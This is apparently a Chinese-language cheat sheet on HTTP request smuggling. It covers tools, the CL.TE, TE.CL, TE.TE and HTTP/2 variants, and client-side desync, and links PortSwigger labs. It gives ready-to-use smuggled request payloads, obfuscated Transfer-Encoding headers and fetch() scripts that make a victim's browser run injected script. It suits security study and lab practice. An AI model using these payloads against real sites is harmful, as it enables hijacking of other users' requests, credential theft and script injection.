请求走私 (Request Smuggling)
HTTP 请求走私发生在多个“组件”处理一个请求,但在如何确定请求的开始/结束位置上存在分歧时。这种分歧可用于干扰另一个用户的请求/响应,或者绕过安全控制。它通常由于优先考虑不同的 HTTP 头部(Content-Length 与 Transfer-Encoding)、处理畸形头部的差异(例如是否忽略带有意外空格的头部)、由于从较新协议降级请求,或者由于部分请求超时并应被丢弃的时机差异而发生。
摘要 (Summary)
工具 (Tools)
- bappstore/HTTP Request Smuggler - Burp Suite 扩展,旨在帮助你发起 HTTP 请求走私攻击。
- defparam/Smuggler - 一个使用 Python 3 编写的 HTTP 请求走私/异步测试工具。
- dhmosfunk/simple-http-smuggler-generator - 该工具由 Burp Suite 执业证书考试编写,用于 HTTP 请求走私实验。
方法论 (Methodology)
如果你想手动利用 HTTP 请求走私,你将面临一些问题,尤其是在 TE.CL 漏洞中,你必须为第二个请求(恶意请求)计算块 (chunk) 大小。正如 PortSwigger 所建议的,“手动修复请求走私攻击中的长度字段可能会很棘手。”
CL.TE 漏洞 (CL.TE Vulnerabilities)
前端服务器使用 Content-Length 头部,而后端服务器使用 Transfer-Encoding 头部。
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
示例:
POST / HTTP/1.1
Host: domain.example.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
TE.CL 漏洞 (TE.CL Vulnerabilities)
前端服务器使用 Transfer-Encoding 头部,而后端服务器使用 Content-Length 头部。
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
示例:
POST / HTTP/1.1
Host: domain.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86
Content-Length: 4
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
要使用 Burp Repeater 发送此请求,你首先需要转到 Repeater 菜单并确保未勾选 "Update Content-Length" 选项。你需要在最后的 0 之后包含尾随序列
\r\n\r\n。
TE.TE 漏洞 (TE.TE Vulnerabilities)
前端和后端服务器都支持 Transfer-Encoding 头部,但可以通过某种方式混淆头部来诱导其中一台服务器不处理它。
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
HTTP/2 请求走私 (HTTP/2 Request Smuggling)
如果机器将你的 HTTP/2 请求转换为 HTTP/1.1,并且你可以将无效的 content-length 头部、transfer-encoding 头部或换行符 (CRLF) 走私到转换后的请求中,则会发生 HTTP/2 请求走私。如果在 GET 请求中可以在 HTTP/2 头部内隐藏 HTTP/1.1 请求,也会发生 HTTP/2 请求走私。
:method GET
:path /
:authority www.example.com
header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: www.example.com
客户端异步 (Client-Side Desync)
在某些路径上,服务器不期望 POST 请求,并会将它们视为简单的 GET 请求,忽略载荷,例如:
当这本应只是一个请求时,它可能会被视为两个请求。当后端服务器响应两次时,前端服务器将假设只有第一个响应与此请求相关。
为了利用这一点,攻击者可以使用 JavaScript 触发其受害者向易受攻击的网站发送 POST:
fetch('https://www.example.com/', {method: 'POST', body: "GET / HTTP/1.1\r\nHost: www.example.com", mode: 'no-cors', credentials: 'include'} )
这可以被用于:
- 让易受攻击的网站将受害者的凭据存储在攻击者可以访问的地方
- 让受害者向网站发送利用程序(例如,针对攻击者无法访问的内部网站,或为了使攻击难以归因)
- 让受害者像来自该网站一样运行任意 JavaScript
示例:
fetch('https://www.example.com/redirect', {
method: 'POST',
body: `HEAD /404/ HTTP/1.1\r\nHost: www.example.com\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors' // 抛出错误而不是跟随重定向
}).catch(() => {
location = 'https://www.example.com/'
})
此脚本告诉受害者浏览器向 www.example.com/redirect 发送 POST 请求。该请求返回一个被 CORS 阻止的重定向,并导致浏览器通过转到 www.example.com 来执行 catch 块。
www.example.com 现在错误地处理了 POST 正文中的 HEAD 请求,而不是浏览器的 GET 请求,并在回复随后被误解的第三个 (GET /x?x=<script>...) 请求以及最后浏览器的实际 GET 请求之前,返回带有 content-length 的 404 not found。
由于浏览器只发送了一个请求,它接受对 HEAD 请求的响应作为对其 GET 请求的响应,并将第三个和第四个响应解释为响应的正文,从而执行攻击者的脚本。
实验环境 (Labs)
- PortSwigger - HTTP 请求走私,基本的 CL.TE 漏洞
- PortSwigger - HTTP 请求走私,基本的 TE.CL 漏洞
- PortSwigger - HTTP 请求走私,混淆 TE 头部
- PortSwigger - 通过 H2.TE 请求走私实现响应队列中毒
- PortSwigger - 客户端异步